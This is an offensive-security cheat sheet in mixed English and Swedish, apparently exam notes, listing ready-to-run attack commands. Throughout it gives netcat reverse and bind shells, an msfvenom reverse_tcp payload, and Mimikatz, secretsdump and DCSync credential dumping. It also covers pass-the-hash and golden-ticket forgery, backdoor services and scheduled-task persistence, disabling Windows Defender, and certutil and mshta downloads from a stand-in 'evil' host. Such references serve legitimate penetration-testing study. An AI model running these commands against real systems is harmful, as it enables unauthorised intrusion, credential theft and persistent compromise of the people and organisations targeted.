Test Cheat Sheet

by unicornfox via cheatography.com/213883/cs/46571/

nmap	
-sn <ip>	Ping sweep
-sT <ip>	TCP-full connect scan
-sS <ip>	TCP SYN half-open (requires root)
-sU <ip>	UDP scan
-sV <ip>	Version scan
-O <ip>	OS-fingerprint
-Pn <ip>	Treat all host as online (skip host discovery)
-sX <ip>	Xmas scan
--top-ports=10 <ip>	Scan top 10 most common ports
<ip> -sV -Pn **--reason**	Add **--reason** to get why port is open
-6 -sV <ip>	IPv6 scan
-sA <ip>	Avoid IDS/IPS firewalls (only sends ACK-flag)
-A <ip>	OS and version detection, script scanning, and traceroute
-iL list-of-ips.txt	Scan from list of IPs
Save output to file	
-oN	Normal output
-oX	XML format
-oG	Greppable format
-oS	Script kiddie output
-oA	Output in the three useful formats (all but script kiddie)
-p 0–65535 eller *--all-ports*	Skanna alla portar (-p- har inte med port 0)
Scripts	
auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, saft, version, vuln	
-sC/--script	Script scan
/usr/share/nmap/scripts	NSE script storage
nmap --script=vuln <ip> -Pn -n –v	Use **--script=vuln** to find vulnerabilities for host
nmap --script-help=http-brute	Find info about script **http-brute**

nmap (cont)	
Timing template	
900000ms, 900, 900s, and 15m	Time definitions. All means the same amount of time
-T0	paranoid
-T1	sneaky
-T2	polite
-T3	normal (default)
-T4	agressive
-T5	insane
Delays	
--host-timeout <time>	Give up on slow target hosts. value 0 can be used to mean “no timeout”
--scan-delay <time>	Wait <time> between each probe
--script-timeout <time>	Sets a ceiling on script execution time.

tcpdump	
-D	List alla interfaces
-i	Record from specific interface
-nn	Do not resolve hostnames
-w output.pcap	write to file
-v	Verbose
EXAMPLE	
tcpdump -i eth1	Record traffic from eth1
tcpdump -i eth1 **-w** ~/output.pcap	Write to file
tcpdump -i eth1 **-r** ~/output.pcap	Read from file
FILTER	
tcpdump -i eth0 **host** 127.0.0.1	Filter on host 127.0.0.1 using **host**
tcpdump -i eth0 dest **net** 172.16.146.0/24	Filter on network using **net** (and dest)
tcpdump -i eth0 **portrange** 0-1024	Filter on **portrange**
tcpdump -i eth0 **port** 80	Filter on **port**

tcpdump (cont)

tcpdump -i eth0 tcp src port 80	Filter on **src** (and port)
PROTOCOL	
ether, ip, ip6 , arp, rarp, tcp, udp	
tcpdump -r sus.pcap **icmp** or **host** 172.16.146.1	Filter on protocol **icmp** and **host**
tcpdump -r sus.pcap not icmp	Filter NOT on protocol **icmp**

Use `and / or` to combine these together

netcat (nc)

Flags	
-l	Listen mode
-L	Listen harder - Make a persistant listener
-n	Don't resolve names
-z	Zero I/O. Don't send any data
-v	verbose
-p	Local port
-u	UDP connection
-e	Program to execute after connections occurs (unsafe, needs to be enabled in some cases. Depends on nc-version)
-w 10	Timout after 10 seconds
Examples	
nc -l -p 1337 -e /bin/bash	Open listener
nc -zvn <ip> <po-rt>	Use as port scanner
nc <ip> <port>	Connect to port, eg webserver
File receiver/sender	
nc -l port > filename	On host: Start file receiver
nc host port < filename	On client: Send file

Reverse Shell (attacker is listener)

On target machine

```
nc <ip> <po rt> -e /bin/bash
```

On attacking machine

netcat (nc) (cont)

```
nc -lvnp <po rt>
```

Bind Shell (victim is listener)

On target machine

```
nc -lvnp <po rt> -e /bin/bash
```

On attacking machine

```
nc -nv <ip> <po rt>
```

Metasploit

MODULES	
Auxiliary	Verktygsmoduler för scanning, fuzzing, bruteforce, sniffning
Encoders	Kodar payloads för att undvika antivirus
Exploits	Utnyttjar en sårbarhet i mål (t.ex. buffer overflow, RCE)
NOPs	(No Operation code) används för padding i exploits
Payloads	Kod som körs efter en exploit (t.ex. reverse shell)
Plugins	Additional scripts can be integrated within an assessment with msfconsole and coexist.
Post	Används efter access, för enum, dump, persistence
Evasion	Designade för att undvika AV/EDR, t.ex. via obfuskering
Exploit/multi/handler	Ta emot en payload (lyssnare)
<modultyp>/<plattf-orm>/<kategori>/<n-amn>	Exploit/modul format (exploit, auxiliary, post)
<payloadtyp>/<plat-tform>/<funktion>	Payload format (windows, linux, cmd)
API	
load extapi	Extended API (måste laddas manuellt)

Metasploit (cont)

stdapi	Standard-API (laddas automatiskt)
MISC	
smart_hashdump	Väljer smart/automatiskt vilka hashar att dumpa (lokalt eller domän)
search name:mysql	Search exploits (mysql)
search cve:2011 author:jduck platform:-linux	Search exploit
PAYLOADTYPER	
reverse_tcp	Offret ansluter tillbaka till attackeraren via TCP
bind_tcp	Offret har lyssnare på en port, som attackerare utnyttjar och ansluter in på
METERPRETER	
migrate <psId>	Migrera till en stabilare process tex winlogon.exe (behöver köra ps)
load kiwi	Mimikatz från meterpreter
creds_all	Dumpa alla creds (kiwi)
creds_kerberos	se TGT/TGS (kiwi)
route add 10.1.10.5 1	Routa trafik via en host och session (1)
MSFVENOM	
skapa payloads och exploits i olika format – t.ex. .exe, .ps1, .apk, .asp, .dll	
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.25 LPORT=4444 -f exe -o payload.exe	
-p	Payloadtyp
-f	Format

LINUX

Crontab

crontab -l	List jobs
crontab -e	Edit jobs

```
*  *  *  *  *  /home/ use r/s cri pt.sh
```

Min *Hour* **Day(Month,1-31)** *Month* **Day(Week, 0-6)**

MISC

/etc/n-sswitc-h.conf	Styr i vilken ordning Linux-systemet slår upp information om användare, grupper, och namn – t.ex. via filer, DNS eller LDAP.
getent shadow	Lista shawdow (kräver root)
getent passwd	Lista passwd

PASSWORD

/etc/shadow

sai:6**YTJ7JKnfsB4esnbS$**5XvmYk2.GXVWhDo2TYGN2hCitD/-wU9Kov.uZD8xsnleuf1r0ARX3qodIKiDsdoQA444b8IMPMOnUWD-mVJVkeg1:19446:0:99999:7:::

YTJ7JKnfsB4esnbS	salt
Password hashes	
1	MD5
2	Blowfish
$2y$	Blowfish
5	SHA-256
6	SHA-512
y	yescrypt

Hashcat

hashcat -a 0 -m 16500 <jwt> <wordl-ist>	Crack JWT
hashcat -m 1800 -a 0 -o found1.txt crack1.hash 500_pa - ssw ord s.txt	Crack Linux SHA512 password with dict
hashcat --force -m 13100 -a 0 lab3.h ashcat /path/ to/ Dic - t.txt --show	Crack Kerberos Service Ticket for account password
-a	Attack mode (0=dictionary, 3=BF)
-m	Hash-type
Hash types	

Hashcat (cont)

-m 0	MD5
-m 100	SHA1
-m 1000	NTLM
-m 1800	SHA512crypt
-m 3000	LM
-m 5600	NetNTLMv2
-m 13100	Kerberos
-m 16500	JWT

Mimikatz

Kräver local admin och tillgång till SYSTEM för att få ut något intressant

privilege::debug	Ge Mimikatz rättigheter att läsa LSASS-processminnet
token::elevate	Bli SYSTEM (krävs för att läsa LSASS)
sekurlsa::logonpasswords	Dumpa hashar från minnet
token::whoami	Lista vem som kör mimikatz (för att bekräfta sin roll efter elevering)
lsadump::sam	Dumpa SAM
lsadump::dcsync	AD-hashar
load mimikatz	Kör via metasploit

Impacket

SECRETSDUMP

Dump password hashes

impacket-secretsdump	Dump NTLM hash (or use Mimikatz)
impacket-secretdump -sam sam -system system -security security LOCAL	Retrive password
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL	Dump NTDS

SMBCLIENT

Explore download/upload files using SMB

Impacket (cont)

pth-smbclient.py -hashes aad3b4... EXAMPLE/administrator@10.10.10.5	Use NTML-hash at machine

PSEXEC

Execute commands by createing a service (noisy)

impacket-psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee EXAMPLE/Administrator@192.168.1.10	Use NTLM hash (pass-the-hash) -> Remote shell

WMIEXEC

Commands using WMI. (more scilent than psexec)

wmiexec.py DOMAIN/user@10.0.0.5 -hashes :NTLMHASH	(PTH) Execute commands on remote-computer

John the Ripper (JtR)

Commands

john hash.txt	Run john against hash.txt
john --format=krb5tgs --wordlist=rockyou.txt tgt_hash.txt	Kerberoasting
john --format=lm hash.txt	Crack LM-hash
john --format=nt hash.txt	Crack NT-hash
john --format=netntlm hash.txt	Crack NTLMv1/Net-NTLMv1 (challenge/response)
john --format=netntlmv2 hash.txt	Crack NTLMv2/Net-NTLMv2 (challenge/response)

Output/Misc

john.pot	File with cracked password
john.rec	store john's current status
john --restore	Picks up where it left of. Based on **john.rec**
jumbo-package	Support for additional hash types. Separate package install. Use **--rules=jumbo**

WINDOWS

Windows

REGISTRY	
SAM	NTLM Password passwords - Stores credentials and account information for local users. *username:RID:LM:NT.*
Secrets	Stores recent cached login passwords of users. Stores secrets used by the Local Security Authority (LSA)
System	Stores system configuration data
Security	Stores user security policy data
PATHS	
HKEY_LOCAL_MACHINE\SAM	C:\Windows\System32\config\SAM
HKEY_LOCAL_MACHINE\Security\Policy\Secrets	
HKEY_LOCAL_MACHINE\SYSTEM	C:\Windows\System32\config\SYSTEM
HKEY_LOCAL_MACHINE\Security	C:\Windows\System32\config\SECURITY
LANMAN	
Old! Converted to uppercase. No salt. Divided into 7 chars-block. Maximum 14 chars. DES.	
AAD3B435B51404EE	Hårdkodad LANMAN padding
MISC	
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cd06ca7c7e10c99b1d33b7485a2ed808:::	Exempel på rad i SAM
NT AUTHORITY\SYSTEM (S-1-5-18)	Gud på en helt lokal dator. Finns inte i AD. Ingen relation till andra SYSTEM på andra datorer
NT-Hash algoritm	MD4

Kerberostermer	
Domain Controller (DC)	Controlls the AD
Key Distribution Center (KDC)	Serivce in DC. User authenticates with user/pass. Distribute TGT.
Authentication Service (AS)	Part of KDC. Authenticates. kerberos client - grants a TGT
Ticket Granting Service (TGS)	Part of KDC. Validates the TGT. Issues a ST to specific resource/service
Ticket Granting Ticket (TGT)	Proof of authentication. Given by KDC. Is then used to ask for ST (at TGS)
Service Tickets (ST)	Gives access to asked resource/service
FLÖDE	
1. Användaren ber om en TGT	
2. Användaren loggar in och autentiseras av KDC.	
3. KDC utfärdar en TGT till användaren.	
4. Användaren använder TGT:n för att begära servicebiljetter från TGS för de tjänster de behöver åtkomst till.	
5. TGS verifierar TGT:n och utfärdar servicebiljetten.	
6. Användaren använder servicebiljetten för att autentisera mot tjänsten.	
Misc	
NTDS.dit	Located at Domain Controller. Stores NTML, kerberos-keys etc.
DOMAIN\Administrator:500:aad3...:cd06...:::	Rad i NTDS.dit
Service Principal Name (SPN)	
Finns för vajre tjänst. KDC vet att vilken varje SPN är kopplat till, för specifikt konto	
MSSQLSvc\sqlserver.exampe.com:443	Exempel på SPN

Kerberostermer (cont)

Servicekonto	AD-konto som kör respektive tjänst. Manuellt underhåll.
Managed Service Account (MSA)	AD-konto för säker och automatiserad tjänstekörning. Automatisk lönsenordshantering.

Kerberoasting

(1) Discover SPNs	eg. with Impacket (GetUserSPN.py), PowerView(Get-DomainUser)
(2) Request service tickets	eg. with Impacket
(3) Export service tickets	eg. with Impacket --> $krb5tgs$23$*....
(4) Crack service tickets.	eg. with Hashcat

setspn

setspn -T lab.local -Q */*	List all SPNs in domain

Windows tools

SYSINTERNALS

Övervaka processer, starta tjänster, dumpa minne

wmic (Windows Management Instrumentation Command-line)

Samla systeminfo eller kör kod tyst – lokalt eller fjärr

wmic /node:"192.168.1.10" process call create "cmd.exe /c whoami"	Starta kommando på fjärrmaskin
wmic /node:targetA.hacker.lab /user:hacker.lab\admin /password:passw0rd get product name,vendor,version /format:csv	Lista alla installerad mjukvara med namn och version

Windows tools (cont)

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i " "	Hitta tjänster med osäkra sökvägar

SC (Service Control)

Skapa eller styra Windows-tjänster för exekvering eller persistens

sc create backdoor binPath= "cmd.exe /k" start= auto	Skapa bakdörrsservice
sc create newservice binpath= "cmd.exe /k c:\Windows\Temp\nc.exe -L -p 8080 -e cmd.exe"	Skapa lyssnare via nc genom persistent (/k) cmd

TASKLIST

Visa alla aktiva processer

tasklist /v | findstr "svchost"	Hitta intressanta processer
tasklist /fo csv /fi "username ne serviceacct"	Hitta processer som inte körs av *serviceacct. Spara till CSV*

net

Hantera användare, grupper och resurser

net user bob passw0rd1234 /add	Add user
net share	Lista alla delade mappar
net use	Lista aktiva nätverksanslutningar
net accounts	Kontoplolicy (lösenor, lockout etc)
net localgroup administrators*	Lista alla administörer (som finns i gruppen)

SCHTASKS

Skapa schemalagda tasks

schtasks /query /tn myshell	List task *myshell*
schtasks /Create /tn myshell /tr C:\users\non\shell.exe \sc MINUTE	Create task *myshell*, path to program (/tr), every minute (/sc)

Windows tools (cont)

PSEXEC

Sysinternals som låter dig köra kommandon på en fjärrdator. Kör ofta som SYSTEM

psexec \\192.168.1.100 cmd.exe	Starta kommando (skal) på fjärrdator
psexec \\target -u DOMAIN\admin -p Password123 cmd.exe	Med user/pass
psexec \\target cmd.exe /c "whoami > C:\output.txt"	Kör kommando utan att öppna skal
psexec \\target -c revshell.exe	Ladda upp och kör payload

ICACLS

Visar och ändrar behörigheter på filer och mappar i Windows.

icacls C:\ | findstr BUILTIN\Users	Hitta skrivbara mappar

ACCESSCHK

Visar vem som har vilka rättigheter till filer, mappar, tjänster, registernycklar m.m.

accesschk.exe -d "C:\Program Files-\MyApp"	Lista vilka användare som kan skriva till en mapp
accesschk.exe -c *	Listar tjänster och vem som kan starta/ändra dessa

WINRM

Fjärrstyrningsprotokoll som tillåter att kommandon körs på andra Windows-maskiner via nätverket, ofta med PowerShell

$s = New-PSSession -ComputerName <name> -Credential <lab\netadmin>	Skapa session i$s
Invoke-Comand -ScriptBlock {Get-Net--IPAddress} -Session $s	Kör NetIPAddress på remote via session $s
Enable-PSRemoting	Starta WinRM

PASS-THE-HASH

Autentisera till en tjänst direkt med NTLM-hash, utan att känna till lösenordet.

sekurlsa::pth /user:Administrator /domain:LAB /ntlm:cd06ca-7c7e10c99b1d33b7485a2ed808 /run:cmd.exe	PTH

PASS-THE-HASH (cont)

Metasploit expects the fortmat LMHASH:NTHASH.	Eg. when using SMBPass

OVERPASS-THE-HASH

Använd NTLM-hashen för att skapa en Kerberos TGT → sedan autentisera via Kerberos.

kerberos::purge	OPtH

sekurlsa::pth /user:admin /domain:test.local /ntlm:cd06ca7c7e10c99-b1d33b7485a2ed808 /run:cmd.exe

Golden Ticket

En förfalskad Kerberos TGT som skapas med krbtgt*-hashen och ger fullständig, obehindrad access i en domän — utan att fråga domänkontrollanten. TGT:n kan vara valid i 10 år. Kräver admin.*

lsadump::dcsync /user:krbtgt	Hämta **krbtgt**-kontots NTML-hash via Mimikatz (kärver domänadmin)
kerberos::golden	Skapa golden-ticket med Mimikatz
krbtgt	Domain account signing all requests for TGTs
DCSync	Attack där man imiterar en DC och ber AD om lösenordshashar via replikering.

To create a Golden Ticket with Mimikatz: valid user ID, domain SID, domain name, krbtgt hash, any username

kerberos::golden /user:SuperHacker /ID:500, /sid: S-1-5-21-132673-1835-146056860-2877405472 /krbtgt:<NTLM hash of krbtgt account> /domain:HACKEDLAB.local

CMD

/c	Run and close window
/k	Run and keep window open
/q	Quiet mode
/d	Disable autorun
/s	Quote friendly mode
cmd.exe /k color 0a	Start window with green color, and keep it open
type	Som cat, fast i cmd
nslookup www.example.com	Forward lookup

Powershell

Execution Policy	
powershell.exe -ExecutionPolicy Bypass -File script.ps1	Temorär bypass av Execution Policy
Get-ExecutionPolicy	Hämta policyn
Restricted	Inga script får köras
RemoteSign	Lokala skript OK. Fjärr måste vara signerade
Bypass	Kör allt utan att fråga
Unrestricted	Kör allt. Kommer få vaning om skript är från internet.

MISC	
Get-ChildItem -Recurse -Path C:\ -Filter "*pass*xlsx"	Hitta fil som innehåller *pass* och filtype xlsx
Set-MpPreference -DisableRealtimeMonitoring $true	Disable Windows Defender (real-time monitoring)
Add-MpPreference -ExclusionPath "Y:\IT\Security"	To ensure that specified folder is not scanned by Windows Defender

Responder

*Waiting for "incorrect" authentications, to get NTLM-hash. Pretends to be the correct service. Requires **root**. Catches Challenge-response-hashses from NTLM-auth.*

Challenge-response, inte en pwd-hash. NTLM != NetNTLMv1/v2

responder -I eth0	Start
NetNTLMv1	Äldre, svagare challenge response --> 5500 - hashcat
NetNTLMv2	Nyare, starkare - vanligt i moderna Windows --> 5600 hashcat

username::DOMAIN:challenge:response:blob

USERNAME::DOMAIN:1122334455667788:0123456789ABCDEF0-123456789ABCDEF:0102030405060708090A0B0C0D0E0F10

Hasharna används främs för att knäckas, inte som tex PtH

Bloodhound/Sharphound

Kartlägger behörighetsvägar i Active Directory. Hjälper till att hitta privilege escalation-paths. Sharphound(CLI) samlar in AD-data. Läser in i Bloodhound(GUI)

Invoke-BloodHound -CollectionMethod All	Powershellversionen av Sharphound. Körs i minnet. Resultat: Zip som läses in i BH
SharpHound.exe -c All	Binär. Används om PS är blockat. Resultat: Zip som läses in i BH
Invoke-BloodHound -Domain LAB.local -Username hacker -Password hemligt123	Specificera domän

Cain

Sniffar, fångar och knäcker lösenord och hashar i ett lokalt nätverk. Kräver administratör. GUI-verktyg. Främst Windows fokus

Azure & Entra ID

Struktur	
Tenants	Isolerad instans av EntraID
Users	Interna och externa
Roles	RBAC för att styra vad användaren kan göra

Roller	
Global Administrator	Full kontroll över allt
Privileged Role Administrator	Hanterar roller. Kan ge sig själv Global Admin
Application Developer	Registrera appar och ge dom API-access
Security Reader	Kan läsa säk.konf, men ej ändra

Misc	
Service Principal	Kopplar app till EntraID dvs gör appen körbar
App Registration	App som skapats av tenant. Innehåller konfig, behörigheter och secrets

Azure & Entra ID (cont)

Enterprise Application	Faktiska instansen (Service Principal) av en app i en tenant
Conditional Access	Styra när, var och hur användare får åtkomst till resurser – baserat på olika villkor --> MFA

Attack

Shadow admin	App kan få admin-rättigheter i smyg, via API-behörigheter

PowerSploit/PowerView/Empire

PowerSploit

Samling offensiva Powershell-script. Används ofta från RAM. Innehåller PowerView, PowerUp etc

PowerSploit.psd1

PowerView

Recon-delen i PowerSploit (AD-enumerering). Läses in direkt i minnet (iex)

Import-Module PowerView.ps1`	Starta modul
Invoke-Kerberoast	Dra ut TGS för crack
Get-DomainUser -SPN	Information om DC

Empire

Post-exploit-ramverk (C2) med färdiga moduler ex. PowerView. Liknar Metasploit i syntaxen

CLI-kommandon (listeners, usestager, agents

AD

Group Policy Objects (GPOs) används för att centralt styra konfigurationer på användare och datorer i en Active Directory-domän. EJ EntraID

Group Policy–managed passwords	Finns i Groups.xml på SYSVOL. Kräver endast giltigt domain user account för att läsa filen. AES-kryptering.

Group Policy Store

SYSVOL	Filbaserad. Skript, inställningsfiler, templates

AD (cont)

AD	Katalogbaserad. Metadata: namn, länkar, versionsnummer

ATTACKER

Golden SAML	Certifikatskapning möjliggör falsk autentisering
Token replays	Missbruk av tokens (OpenID & v OAuth 2.0)
AAD Connect	Synkar konton från AD till Entra ID. Om servern kompromitteras -> Dumpa NT-hashar

LOLBAS

Ladda ned payloads, köra kod dolt, persistence

certutil -urlcache -f http://evil/payload.exe payload.exe	Handling certificates
mshta http://evil/malicious.hta	Execute html applications

MISC

Misc

Lista portar

netstat -antp | grep LISTEN	Lists open ports/connections
Get-NetTCPConnection -State Listen	Lists open ports/connections (powershell)

Lista grupper

net localgroup "Administatror"	Lista administrator
Get-LocalGroupMember -Name "-Administrator"	Lista administrator

Lista firewall states

Get-NetFirewallProfile | Select Name,Enabled	Lista firewall states
netsh advfirewall show allprofiles	Lista firewall states

Common ports	
21	FTP
22	SSH & SFTP
23	Telnet
69	TFTP
88	(TCP och UDP): Kerberos Key Distribution Center (KDC)
161/162	SNMP (UDP)
445	SMB
2049	NFS
3389	RDP
5985/5986	WinRM (http/https)